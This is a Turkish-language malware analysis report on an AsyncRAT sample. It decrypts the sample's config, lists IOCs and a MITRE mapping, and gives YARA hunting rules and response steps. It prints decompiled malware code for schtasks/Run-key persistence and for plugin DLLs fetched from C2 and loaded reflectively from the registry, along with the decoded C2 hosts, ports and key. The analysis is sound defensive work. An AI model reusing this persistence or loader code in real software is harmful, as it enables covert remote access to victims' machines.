Tango Scramble 5: AsyncRAT Derinlemesine Analiz
Scramble Terminolojisi Hakkında: Bu yazı serisinin isimlendirme mantığı (Alpha, Tango vb. Scramble kodları) hakkında detaylı bilgi almak için Scramble Konsepti yazımı okuyabilirsiniz.
Yönetici Özeti (Executive Summary)
Bu analizde MalwareBazaar üzerinden elde edilen bir AsyncRAT örneği incelenmektedir. Dosya ilk bakışta bir arşiv dosyası gibi gösterilse de, aslında Windows üzerinde çalıştırılabilir bir zararlı yazılımdır.
İncelenen örnek, sisteme yerleştikten sonra saldırganın kontrol sunucusuyla bağlantı kurabilecek ve enfekte makine hakkında temel bilgiler gönderebilecek yapıdadır. İlk çalıştırmada çok agresif bir davranış göstermemesi yanıltıcı olabilir; çünkü AsyncRAT ailesinin temel riski, saldırganın daha sonra sisteme ek modüller göndererek zararlının yeteneklerini genişletebilmesidir.
Analizde öne çıkan bulgular:
- Dosya maskeleme: Örnek, kullanıcıyı yanıltmak için arşiv dosyası gibi gösterilmiştir.
- AsyncRAT tespiti: Kod yapısı ve bileşenler, örneğin AsyncRAT ailesiyle uyumlu olduğunu göstermektedir.
- Kalıcılık: Zararlı, sistem yeniden başlatılsa veya kullanıcı tekrar oturum açsa bile çalışmaya devam edebilecek mekanizmalar kurabilmektedir.
- Gizlenmiş ayarlar: C2 adresleri, port bilgileri ve çalışma ayarları doğrudan okunamayacak şekilde gizlenmiştir.
- C2 altyapısı:
789betcasinos[.]comvebolon[.]ru[.]comalan adları ile6606,7707,8808,443,80,22portları tespit edilmiştir. - Sonradan yetenek kazanma: Saldırgan, enfekte sisteme daha sonra yeni modüller gönderebilir. Bu modüller zararlının ekran izleme, bilgi toplama, dosya yönetimi veya farklı payload çalıştırma gibi kabiliyetler kazanmasına neden olabilir.
- Yüksek risk: Örnek, tek başına basit görünse de kalıcılık, C2 bağlantısı ve sonradan modül yükleme yapısı nedeniyle yüksek riskli değerlendirilmelidir.
Genel Risk Seviyesi: Yüksek
Bu örnek için en kritik nokta, ilk anda görülen davranışın zararlının tüm kapasitesini temsil etmemesidir. Enfekte sistemde kalıcı erişim sağlandıktan sonra saldırgan, ihtiyaç duyduğu yetenekleri sonradan yükleyebilir.
Örnek Bilgileri
| Alan | Değer |
|---|---|
| Kaynak | MalwareBazaar |
| SHA256 | ed0a26904442535518a83879b77cee6e89eea4fa18521be4308d49a6fa290c58 |
| Aile | AsyncRAT |
| Platform | Windows |
| Dil / Runtime | C# / .NET |
| Analiz Araçları | HxD, Detect It Easy, dnSpy, ANY.RUN, CAS |
Aşama 1: Triyaj
Analiz, MalwareBazaar üzerinden indirilen örneğin laboratuvar ortamında açılmasıyla başlatılmıştır.
Arşivden çıkarılan dosya ilk bakışta ZIP ikonuna sahip bir dosya gibi görünmektedir. Bu, kullanıcıyı dosyanın zararsız bir arşiv olduğuna ikna etmeye yönelik basit ama sık kullanılan bir maskeleme tekniğidir.
Dosya HxD ile açıldığında MZ başlığı görülmektedir. Bu da dosyanın arşiv değil, doğrudan Windows PE formatında bir executable olduğunu doğrular.
Bu noktada saldırganın iki katmanlı bir aldatma uyguladığı görülür:
- Dosya ikonuyla kullanıcı algısı manipüle ediliyor.
- Metadata alanları dosyanın gerçek tipini maskelemek için kullanılıyor.
Detect It Easy ile yapılan ilk kontrollerde örneğin .NET tabanlı olduğu ve entropy değerinin yüksek seyrettiği görülmektedir.
Yüksek entropy tek başına packer kanıtı değildir; ancak .NET örneklerinde string/config gizleme, resource içine gömülü veri veya paketleyici kullanımına dair güçlü bir triage sinyali olarak değerlendirilmelidir.
Triyajı davranışsal servislerle desteklemek için ANY.RUN raporu da incelenmiştir:
AsyncRAT, açık kaynak kodlu ve C# ile geliştirilmiş bir Remote Access Trojan ailesidir. Saldırganlara hedef sistem üzerinde uzaktan kontrol, dosya yönetimi, komut çalıştırma, ekran görüntüsü alma, keylogging ve ek zararlı modül yükleme gibi kabiliyetler sağlayabilir.
Açık kaynak malware aileleri savunmacılar için IOC ve imza üretme avantajı sağlasa da, saldırganlar için de hızlı özelleştirme imkanı sunar. AsyncRAT gibi ailelerin asıl tehlikesi gizli olmalarından değil, erişilebilir ve kolay değiştirilebilir olmalarından gelir.
String analizi sırasında AsyncRAT yapısına işaret eden alanlar ve konfigürasyon bileşenleri tespit edilmiştir.
Son triage turunda FenrirSoftware tarafından geliştirilen CAS (Close Air Support) sistemi ile örnek tekrar değerlendirilmiştir.
Aşama 2: .NET Statik Analiz
Örnek C# ile yazıldığı için statik analiz dnSpy üzerinden devam ettirilmiştir.
Dosya açılır açılmaz AsyncRAT client mimarisine ait tipik bileşenler görünür hale gelmektedir. Client, Connection, Helper, Install, Handle_Packet ve MessagePackLib namespace’leri zararlının iletişim, kalıcılık, konfigürasyon ve plugin mekanizmasını modüler şekilde ayırdığını göstermektedir.
HWID Üretimi
AsyncRAT gibi RAT aileleri, C2 panelinde enfekte makineleri ayırt etmek için genellikle HWID benzeri bir değer kullanır. Bu örnekteki değer tam anlamıyla donanım seri numarası toplama davranışı değildir; daha çok makineyi panel tarafında benzersiz göstermek için üretilmiş bir kimlik bilgisidir.
Normal şartlarda HWID; CPU, anakart, disk, BIOS veya volume bilgileri gibi donanıma bağlı alanlardan türetilebilir. Buradaki kullanım ise saldırganın victim listesini düzenli tutmasına ve plugin/komut akışını belirli istemcilere yönlendirmesine yardımcı olur.
Bu nedenle ilgili değer, bu örnek özelinde donanım seri numarası toplamaktan ziyade client identifier üretimi olarak değerlendirilmiştir.
ID Paketi ve Sistem Bilgisi
Zararlı sistem üzerinde çalıştıktan sonra C2 tarafına makine hakkında temel bilgiler iletir.
Bu tip paketlerde genellikle şu bilgiler bulunur:
- HWID veya client ID
- Kullanıcı adı
- İşletim sistemi sürümü
- Çalışma yolu
- Admin yetkisi
- Aktif pencere başlığı
- Yüklü güvenlik yazılımları
- Client versiyonu
Antivirüs sorgulama mekanizması WMI üzerinden güvenlik yazılımlarını listelemeye çalışmaktadır.
Bu davranış savunma ürünleri açısından oldukça gürültülüdür. WMI ile güvenlik yazılımı listesi çekilmesi, tek başına zararlı kanıtı olmasa da RAT enfeksiyonlarında sık karşılaşılan discovery adımlarından biridir.
Aşama 3: Kalıcılık Mekanizması
Örnekte persistence akışı Client.Install.NormalStartup altında bulunmaktadır. Settings.Install değerinin true olması durumunda client kendisini kalıcı konuma taşıyıp başlangıçta tekrar çalışacak şekilde yapılandırır.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
FileInfo fileInfo = new FileInfo(
Path.Combine(
Environment.ExpandEnvironmentVariables(Settings.InstallFolder),
Settings.InstallFile
)
);
string fileName = Process.GetCurrentProcess().MainModule.FileName;
if (fileName != fileInfo.FullName)
{
if (Methods.IsAdmin())
{
Process.Start(new ProcessStartInfo
{
FileName = "cmd",
Arguments = "/c schtasks /create /f /sc onlogon /rl highest /tn \"" +
Path.GetFileNameWithoutExtension(fileInfo.Name) +
"\" /tr '\"" + fileInfo.FullName + "\"' & exit",
WindowStyle = ProcessWindowStyle.Hidden,
CreateNoWindow = true
});
}
else
{
using (RegistryKey registryKey = Registry.CurrentUser.OpenSubKey(
Strings.StrReverse("\\nuR\\noisreVtnerruC\\swodniW\\tfosorciM\\erawtfoS"),
RegistryKeyPermissionCheck.ReadWriteSubTree))
{
registryKey.SetValue(Path.GetFileNameWithoutExtension(fileInfo.Name),
"\"" + fileInfo.FullName + "\"");
}
}
}
Bu kodun davranışı özetle şöyledir:
- Hedef kurulum yolu
Settings.InstallFolderveSettings.InstallFileüzerinden oluşturulur. - Çalışan dosya bu hedef konumda değilse kurulum akışı başlatılır.
- Aynı hedefte çalışan eski process varsa kapatılır.
- Admin yetkisi varsa
schtasks /create /sc onlogon /rl highestile zamanlanmış görev oluşturulur. - Admin yetkisi yoksa
HKCU\Software\Microsoft\Windows\CurrentVersion\Runaltına autorun değeri yazılır. - Mevcut executable hedef yola kopyalanır.
- Geçici bir batch dosyasıyla yeni kopya çalıştırılır ve eski process kapanır.
Registry path’in ters yazılıp Strings.StrReverse() ile runtime’da açılması basit bir obfuscation örneğidir:
1
\nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS
Runtime’daki gerçek değer:
1
Software\Microsoft\Windows\CurrentVersion\Run
Bu teknik sofistike değildir; ancak statik string aramalarını ve basit imzaları atlatmak için pratik bir gizleme katmanı sağlar.
Aşama 4: Settings ve Şifreli Konfigürasyon
IOC açısından en değerli alanlar Client/Settings.cs altında bulunmaktadır.
Konfigürasyonu çözmek için önce key materyali çıkarılmış, ardından Aes256 sınıfındaki algoritma tersine takip edilmiştir.
Çözülen Konfigürasyon
| Alan | Encoded / Kaynak | Decoded Değer | Açıklama |
|---|---|---|---|
Settings.Key | MjVpMUljV3BHWEJLZjhlZmNGeGpWNm9BQ1VTS0FkYVU= | 25i1IcWpGXBKf8efcFxjV6oACUSKAdaU | AES/HMAC anahtar türetme için master key |
Settings.Hosts | AES ile şifreli blob | 789betcasinos[.]com,bolon[.]ru[.]com | C2 host listesi |
Settings.Ports | AES ile şifreli blob | 6606,7707,8808,443,80,22 | C2 port listesi |
Settings.Version | AES ile şifreli blob | 0.5.7B | Client sürümü |
Settings.Install | AES ile şifreli blob | true | Persistence aktif |
Settings.MTX | AES ile şifreli blob | AsyncMutex_6SI8OkPnk | Tekil çalışma için mutex |
Settings.Pastebin | AES ile şifreli blob | None | Harici config/paste kaynağı yok |
Settings.Anti | AES ile şifreli blob | None | Bu örnekte anti-analysis flag’i pasif |
Settings.BDOS | AES ile şifreli blob | None | BDOS/yıkıcı flag pasif |
Settings.Group | AES ile şifreli blob | None | Grup değeri tanımlı değil |
Şifreleme Şeması
Konfigürasyon şeması şu şekilde çalışmaktadır:
- Master key Base64 decode edilir.
- PBKDF2 (
Rfc2898DeriveBytes) ile sabit salt ve50000iterasyon kullanılarak 96 byte türetilir. - İlk 32 byte AES-256 key olarak kullanılır.
- Sonraki 64 byte HMAC-SHA256 auth key olarak kullanılır.
- Veri formatı şu şekildedir:
1
base64([HMAC-SHA256:32 byte] + [IV:16 byte] + [AES-CBC ciphertext])
Bu tasarım, yalnızca gizleme değil aynı zamanda bütünlük kontrolü de sağlamaktadır. HMAC doğrulaması başarısız olursa config decode edilmez.
Gömülü Sertifika
Örnekte AsyncRAT Server CN değerine sahip bir X.509 sertifikası bulunmaktadır.
| Alan | Değer |
|---|---|
| Subject CN | AsyncRAT Server |
| Issuer CN | AsyncRAT Server |
| SHA1 Fingerprint | 41:2D:24:5C:B6:93:96:F3:2F:02:3C:43:BF:64:15:91:79:F7:D5:71 |
| SHA256 Fingerprint | 90:7A:9A:F5:3F:94:F5:1D:16:33:21:7D:7F:5D:C1:31:77:C7:8E:48:BF:87:3A:14:2B:8F:F2:5D:FA:1D:64:9A |
Serversignature değeri, Settings.Key üzerinden alınan SHA256 hash’in RSA PKCS#1 v1.5 imzası olarak doğrulanmaktadır. Bu sayede client, C2 tarafındaki sertifika ve imza ilişkisinin beklenen yapıda olup olmadığını kontrol eder.
Aşama 5: Plugin ile Yetenek Genişletme
Bu noktaya kadar örneğin doğrudan kamera izleme, ekran kaydı veya keylogger davranışı göstermemesi şaşırtıcı değildir. AsyncRAT’ın temel mimarisi genellikle düşük gürültülü bir client ile başlar; asıl yetenekler C2 tarafından gönderilen plugin’ler aracılığıyla sonradan devreye alınır.
Plugin işleme mantığı Client.Handle_Packet.Packet altında görülmektedir.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
string packetType = msgPack.ForcePathObject("Packet").AsString;
if (packetType == "plugin")
{
if (SetRegistry.GetValue(msgPack.ForcePathObject("Dll").AsString) == null)
{
Packet.Packs.Add(msgPack);
MsgPack request = new MsgPack();
request.ForcePathObject("Packet").SetAsString("sendPlugin");
request.ForcePathObject("Hashes").SetAsString(
msgPack.ForcePathObject("Dll").AsString
);
ClientSocket.Send(request.Encode2Bytes());
}
else
{
Packet.Invoke(msgPack);
}
}
if (packetType == "savePlugin")
{
SetRegistry.SetValue(
msgPack.ForcePathObject("Hash").AsString,
msgPack.ForcePathObject("Dll").GetAsBytes()
);
}
Plugin çalıştırma kısmı daha kritiktir:
1
2
3
4
5
6
object obj = Activator.CreateInstance(
AppDomain.CurrentDomain
.Load(Zip.Decompress(SetRegistry.GetValue(
unpack_msgpack.ForcePathObject("Dll").AsString)))
.GetType("Plugin.Plugin")
);
Bu akışın anlamı:
- C2, client’a
pluginveyasavePlugintipinde MessagePack paketi gönderir. - Client ilgili plugin’in registry altında daha önce kayıtlı olup olmadığını kontrol eder.
- Plugin yoksa
sendPlugintalebiyle C2’den modül ister. savePluginpaketi geldiğinde DLL blob’uHKCU\Software\<HWID>altındaREG_BINARYolarak saklanır.Zip.Decompress()ile plugin açılır.AppDomain.CurrentDomain.Load()ile assembly doğrudan belleğe yüklenir.Plugin.Pluginsınıfı instantiate edilir veRunmetodu çağrılır.
Bu yapı, ilk executable’ın tek başına sınırlı görünmesini sağlar. Ancak C2 aktif olduğunda aynı client keylogger, screen capture, credential theft, proxy, lateral movement veya farklı payload indirme gibi kabiliyetleri plugin olarak kazanabilir.
Registry altında binary plugin saklama davranışı özellikle önemlidir. Çünkü bazı güvenlik kontrolleri disk üzerindeki DLL/EXE dosyalarına odaklanırken, bu örnekte modül içeriği registry blob’u olarak tutulabilir ve çalışma anında belleğe alınabilir.
Modül Bazlı Genel Bakış
| Bileşen | Rol |
|---|---|
Client/Program.cs | Giriş noktası, başlangıç kontrolleri, mutex, anti-analysis ve C2 döngüsünü başlatır |
Client/Settings.cs | Gömülü config alanlarını çözer, sertifika ve imza doğrulamasını yapar |
Client/Install/NormalStartup.cs | Persistence, self-copy ve yeniden başlatma akışını yönetir |
Client/Connection/ClientSocket.cs | TCP/TLS bağlantısı, sertifika pinning, paket gönderme ve alma işlemlerini yürütür |
Client/Handle_Packet/Packet.cs | MessagePack komutlarını işler, plugin kaydetme ve çalıştırma akışını yönetir |
Client/Algorithm/Aes256.cs | PBKDF2, AES-256-CBC ve HMAC-SHA256 tabanlı config şifreleme/çözme mantığını içerir |
Client/Helper/HwidGen.cs | Client kimliği üretir |
Client/Helper/Methods.cs | Admin kontrolü, AV enumeration, aktif pencere başlığı ve yardımcı işlemler |
Client/Helper/MutexControl.cs | Tek instance kontrolü için mutex oluşturur |
Client/Helper/SetRegistry.cs | Plugin blob’larını registry altında saklar, okur ve siler |
MessagePackLib | C2 protokolünde kullanılan MessagePack encode/decode ve sıkıştırma yardımcılarını içerir |
IOC Tablosu
| IOC Türü | Değer | Açıklama |
|---|---|---|
| SHA256 | ed0a26904442535518a83879b77cee6e89eea4fa18521be4308d49a6fa290c58 | İncelenen örnek |
| Domain / C2 | 789betcasinos[.]com | Çözülen C2 hostu |
| Domain / C2 | bolon[.]ru[.]com | Alternatif C2 hostu |
| Port | 6606 | C2 iletişim portu |
| Port | 7707 | C2 iletişim portu |
| Port | 8808 | C2 iletişim portu |
| Port | 443 | Alternatif C2 portu |
| Port | 80 | Alternatif C2 portu |
| Port | 22 | Alternatif C2 portu |
| Mutex | AsyncMutex_6SI8OkPnk | Tekil çalışma kontrolü |
| Registry Path Pattern | HKCU\Software\<HWID> | Plugin saklama alanı |
| Registry Value Type | REG_BINARY | Plugin blob saklama tipi |
| Registry Persistence | HKCU\Software\Microsoft\Windows\CurrentVersion\Run | Kullanıcı seviyesinde autorun |
| Scheduled Task Persistence | schtasks /create /sc onlogon /rl highest | Admin seviyesinde persistence |
| Embedded Certificate CN | AsyncRAT Server | Gömülü TLS sertifikası |
| SHA1 Fingerprint | 41:2D:24:5C:B6:93:96:F3:2F:02:3C:43:BF:64:15:91:79:F7:D5:71 | Gömülü sertifika fingerprint’i |
| SHA256 Fingerprint | 90:7A:9A:F5:3F:94:F5:1D:16:33:21:7D:7F:5D:C1:31:77:C7:8E:48:BF:87:3A:14:2B:8F:F2:5D:FA:1D:64:9A | Gömülü sertifika fingerprint’i |
| Packet Type | plugin | Plugin çalıştırma komutu |
| Packet Type | savePlugin | Plugin kaydetme komutu |
| Packet Type | sendPlugin | Plugin talep komutu |
| Packet Type | pong | Heartbeat / bağlantı kontrol komutu |
C2 alan adlarından biri sahte kumar sitesi görünümü sergilemektedir. Bu görünüm, alan adının phishing veya yönlendirme zinciri içinde kullanılmış olabileceğini destekler niteliktedir; ancak tek başına ilk enfeksiyon vektörünü kesinleştirmez.
MITRE ATT&CK Eşlemesi
| Taktik | Teknik | Teknik ID | Gözlemlenen Davranış |
|---|---|---|---|
| Persistence | Scheduled Task/Job: Scheduled Task | T1053.005 | schtasks ile logon sırasında çalışan görev oluşturma |
| Persistence | Registry Run Keys / Startup Folder | T1547.001 | HKCU\...\Run altına autorun değeri yazma |
| Defense Evasion | Obfuscated Files or Information | T1027 | Config ve registry path alanlarının gizlenmesi |
| Defense Evasion | Deobfuscate/Decode Files or Information | T1140 | Base64 ve AES ile gizlenen config’in runtime’da çözülmesi |
| Defense Evasion | Modify Registry | T1112 | Registry üzerinde plugin saklama ve autorun kaydı |
| Defense Evasion | Reflective Code Loading | T1620 | AppDomain.Load(byte[]) ile bellekte assembly yükleme |
| Defense Evasion | Virtualization/Sandbox Evasion: System Checks | T1497.001 | Sandbox/VM/debugger kontrolleri |
| Discovery | System Information Discovery | T1082 | OS, hostname, çalışma yolu ve sistem bilgisi toplama |
| Discovery | Process Discovery | T1057 | Çalışan process’lerin enumerate edilmesi |
| Discovery | Software Discovery | T1518 | Yüklü yazılımlara ilişkin sorgulama davranışı |
| Discovery | Software Discovery: Security Software Discovery | T1518.001 | Antivirüs ve güvenlik yazılımı tespiti |
| Discovery | Query Registry | T1012 | Registry anahtarlarının okunması |
| Discovery | File and Directory Discovery | T1083 | Dosya ve dizin varlığı kontrolleri |
| Discovery | System Owner/User Discovery | T1033 | Kullanıcı adı ve oturum bilgisinin toplanması |
| Command and Control | Encrypted Channel | T1573 | TLS/SslStream ile şifreli C2 kanalı kurulması |
| Command and Control | Non-Application Layer Protocol | T1095 | Özel TCP tabanlı C2 iletişim akışı |
| Command and Control | Ingress Tool Transfer | T1105 | C2 üzerinden plugin/modül içeriği alınması |
C2 Altyapısına İlişkin Gözlem
Analiz sırasında C2 bağlantısının beklenen zararlı trafiği üretmediği gözlemlenmiştir. Bu durum birkaç senaryoyla açıklanabilir:
- C2 geçici olarak kapalı olabilir.
- Host aktif olsa bile ilgili bot ID veya sertifika eşleşmesi bekleniyor olabilir.
- Zararlı davranışlar yalnızca C2 tarafından gönderilen plugin’ler ile tetikleniyor olabilir.
- Sunucu tarafı belirli ülke, ASN, sandbox veya analiz ortamlarını filtreliyor olabilir.
Bu nedenle örnek, yalnızca ilk executable davranışına bakılarak düşük riskli kabul edilmemelidir. Plugin mimarisi, C2 tekrar aktif olduğunda davranış yüzeyinin hızla değişebileceğini göstermektedir.
YARA Rules
Aşağıdaki kurallar doğrudan ürün imzası olmaktan ziyade hunting / threat hunting amaçlı hazırlanmıştır. İlk kural bu örneğin şifreli config izlerine odaklanır; ikinci kural AsyncRAT plugin loader mantığını, üçüncü kural persistence ve registry kullanımını hedefler. Dördüncü kural ise örnek özelindeki C2/key değerlerine bağlı kalmadan, AsyncRAT ailesinin .NET + MessagePack + plugin loader + persistence/crypto kombinasyonunu yakalamaya yönelik daha genel bir aile avcılığı kuralıdır. Üretim ortamında kullanılmadan önce kurum içi benign .NET yazılımları üzerinde test edilmelidir.
Sample Config Rule
rule MAL_DOTNET_AsyncRAT_TangoScramble5_Config
{
meta:
description = "AsyncRAT Tango Scramble 5 sample config artifacts"
author = "BinaryBear"
reference = "Tango Scramble 5 AsyncRAT analysis"
sha256 = "ed0a26904442535518a83879b77cee6e89eea4fa18521be4308d49a6fa290c58"
date = "2026-05-19"
strings:
$key_b64 = "MjVpMUljV3BHWEJLZjhlZmNGeGpWNm9BQ1VTS0FkYVU=" ascii wide
$hosts_enc = "99kwGQzuMOWH70WB8a6u9DQ3qSYRH7CulcZF6q+Ed3B4" ascii wide
$ports_enc = "BXPi98Kpei2n9pLjDOzfyBW8HjgnsRJlGjmvc4AWXBNM" ascii wide
$install_enc = "FBwWqes1sQyVxzl+G+ZoZeCsQsI1HgTXklWZXVQsudCw" ascii wide
$mtx_enc = "f67hr8gurjwUZIbYG5QOF2lYq7a4UKNTC5x1cKeDuuTC" ascii wide
$cert_cn = "AsyncRAT Server" ascii wide
condition:
uint16(0) == 0x5A4D and filesize < 10MB and 3 of them
}
Plugin Loader Rule
rule MAL_DOTNET_AsyncRAT_Plugin_Loader_Generic
{
meta:
description = "Generic AsyncRAT .NET plugin loader behavior"
author = "BinaryBear"
date = "2026-05-19"
strings:
$s1 = "savePlugin" ascii wide
$s2 = "sendPlugin" ascii wide
$s3 = "Plugin.Plugin" ascii wide
$s4 = "MessagePackLib" ascii wide
$s5 = "ForcePathObject" ascii wide
$s6 = "AppDomain" ascii wide
$s7 = "CurrentDomain" ascii wide
$s8 = "Decompress" ascii wide
$s9 = "SetRegistry" ascii wide
$s10 = "Received" ascii wide
condition:
uint16(0) == 0x5A4D and filesize < 10MB and 6 of ($s*)
}
Persistence Rule
rule MAL_DOTNET_AsyncRAT_Persistence_Registry_Schtasks
{
meta:
description = "AsyncRAT-style .NET persistence via schtasks or HKCU Run key"
author = "BinaryBear"
date = "2026-05-19"
strings:
$run_rev = "\\nuR\\noisreVtnerruC\\swodniW\\tfosorciM\\erawtfoS" ascii wide
$schtasks = "schtasks /create /f /sc onlogon /rl highest" ascii wide
$install_class = "NormalStartup" ascii wide
$client_exit = "ClientOnExit" ascii wide
$install_folder = "InstallFolder" ascii wide
$install_file = "InstallFile" ascii wide
$str_reverse = "StrReverse" ascii wide
condition:
uint16(0) == 0x5A4D and filesize < 10MB and 3 of them
}
Family Hunting Rule
rule MAL_DOTNET_AsyncRAT_Family_PluginClient_Hunt
{
meta:
description = "AsyncRAT family hunting rule for .NET MessagePack plugin clients"
author = "BinaryBear"
date = "2026-05-19"
scope = "family hunting"
fp_notes = "Requires .NET metadata plus AsyncRAT-like MessagePack plugin loader and persistence/crypto indicators"
strings:
$dotnet = "BSJB" ascii
$ns1 = "MessagePackLib" ascii wide
$ns2 = "Client.Handle_Packet" ascii wide
$ns3 = "Client.Connection" ascii wide
$ns4 = "Client.Install" ascii wide
$ns5 = "Client.Helper" ascii wide
$pkt1 = "savePlugin" ascii wide
$pkt2 = "sendPlugin" ascii wide
$pkt3 = "ForcePathObject" ascii wide
$pkt4 = "Plugin.Plugin" ascii wide
$pkt5 = "Received" ascii wide
$pkt6 = "pong" ascii wide
$load1 = "AppDomain" ascii wide
$load2 = "CurrentDomain" ascii wide
$load3 = "Decompress" ascii wide
$load4 = "Activator" ascii wide
$load5 = "CreateInstance" ascii wide
$persist1 = "NormalStartup" ascii wide
$persist2 = "InstallFolder" ascii wide
$persist3 = "InstallFile" ascii wide
$persist4 = "ClientOnExit" ascii wide
$persist5 = "\\nuR\\noisreVtnerruC\\swodniW\\tfosorciM\\erawtfoS" ascii wide
$crypto1 = "Rfc2898DeriveBytes" ascii wide
$crypto2 = "HMACSHA256" ascii wide
$crypto3 = "AesManaged" ascii wide
$crypto4 = "AsyncRAT Server" ascii wide
condition:
uint16(0) == 0x5A4D and
filesize < 10MB and
$dotnet and
2 of ($ns*) and
4 of ($pkt*) and
2 of ($load*) and
(2 of ($persist*) or 2 of ($crypto*))
}
İlk kural örnek odaklıdır ve false positive ihtimali düşüktür. İkinci, üçüncü ve dördüncü kurallar daha geneldir; bu nedenle alert üretmekten çok geriye dönük avcılık ve örnek kümesi genişletme amacıyla kullanılmalıdır. Dördüncü kural özellikle tek bir IOC’ye yaslanmadığı için yeni AsyncRAT fork’larını yakalama şansını artırır; buna rağmen üretim öncesi benign .NET yazılımları üzerinde mutlaka test edilmelidir.
Yapılacaklar / Müdahale Planı
Bu örneğe ait bir enfeksiyon şüphesinde aşağıdaki adımlar önceliklendirilmelidir:
- Host izolasyonu: Şüpheli sistem ağdan izole edilmeli, canlı C2 bağlantısı varsa kesilmelidir.
- C2 engelleme:
789betcasinos[.]comvebolon[.]ru[.]comdomainleri ile6606,7707,8808,443,80,22port kombinasyonları proxy, firewall, DNS ve EDR seviyesinde avlanmalıdır. - Persistence kontrolü:
HKCU\Software\Microsoft\Windows\CurrentVersion\Runaltında şüpheli değerler veschtasksüzerinde logon tetiklemeli görevler incelenmelidir. - Mutex avcılığı:
AsyncMutex_6SI8OkPnkmutex’i endpoint telemetry üzerinde aranmalıdır. - Registry plugin avcılığı:
HKCU\Software\<HWID>benzeri kullanıcı altı registry path’lerindeREG_BINARYblob’lar kontrol edilmelidir. - Bellek analizi:
AppDomain.Load(byte[]), anormal .NET assembly load olayları ve disk karşılığı olmayan managed module davranışları incelenmelidir. - Kimlik bilgisi riski: RAT enfeksiyonu ihtimali nedeniyle ilgili kullanıcının parolaları ve oturum token’ları riskli kabul edilmeli, parola rotasyonu uygulanmalıdır.
- EDR/YARA yayılımı: Bu yazıdaki YARA kuralları test ortamında doğrulandıktan sonra avcılık paketlerine eklenmelidir.
- Ağ geçmişi incelemesi: DNS, proxy ve firewall loglarında C2 domainleri ve ilgili portlara geçmiş bağlantılar aranmalıdır.
- Temizleme kararı: Plugin ile sonradan yetenek kazanabilen RAT vakalarında yalnızca dosya silme yeterli görülmemeli; sistemin yeniden imajlanması değerlendirilmelidir.
Çözüm ve Sertleştirme Önerileri
- Kullanıcıların dosya uzantılarını görebilmesi için Windows’ta “Hide extensions for known file types” ayarı kapatılmalıdır.
- E-posta ve web gateway üzerinde arşiv görünümlü executable indirmeleri engellenmelidir.
- Uygulama kontrolü ile kullanıcı dizinlerinden çalışan imzasız executable’lar sınırlandırılmalıdır.
schtasks, Run key değişiklikleri ve kullanıcı profili altına self-copy davranışları için EDR kuralı yazılmalıdır.- WMI üzerinden antivirüs enumeration davranışı telemetry seviyesinde izlenmelidir.
- .NET süreçlerinde disk karşılığı olmayan assembly load davranışları avlanmalıdır.
- Egress filtering uygulanmalı; istemcilerin rastgele portlardan internet üzerindeki bilinmeyen hostlara çıkışı sınırlandırılmalıdır.
- Registry altında büyük
REG_BINARYdeğerleri oluşturan kullanıcı süreçleri izlenmelidir.
Sonuç
Bu çalışmada incelenen örnek, AsyncRAT ailesinin klasik ama halen etkili bir kullanımını göstermektedir. Dosya ilk aşamada ZIP ikonuyla kullanıcıyı yanıltmayı hedeflemekte, ardından .NET tabanlı client yapısıyla sisteme yerleşmekte ve C2 tarafından gönderilecek plugin’ler için hazır beklemektedir.
Örneğin en kritik noktası, ilk çalıştırmada tüm zararlı kabiliyetleri göstermemesidir. Kalıcılık, C2 bağlantısı, şifreli konfigürasyon ve registry üzerinden plugin saklama mekanizması bir arada değerlendirildiğinde, bu örnek enfekte sistem üzerinde uzun süreli erişim ve sonradan yetenek genişletme amacı taşıyan yüksek riskli bir RAT olarak değerlendirilmelidir.





















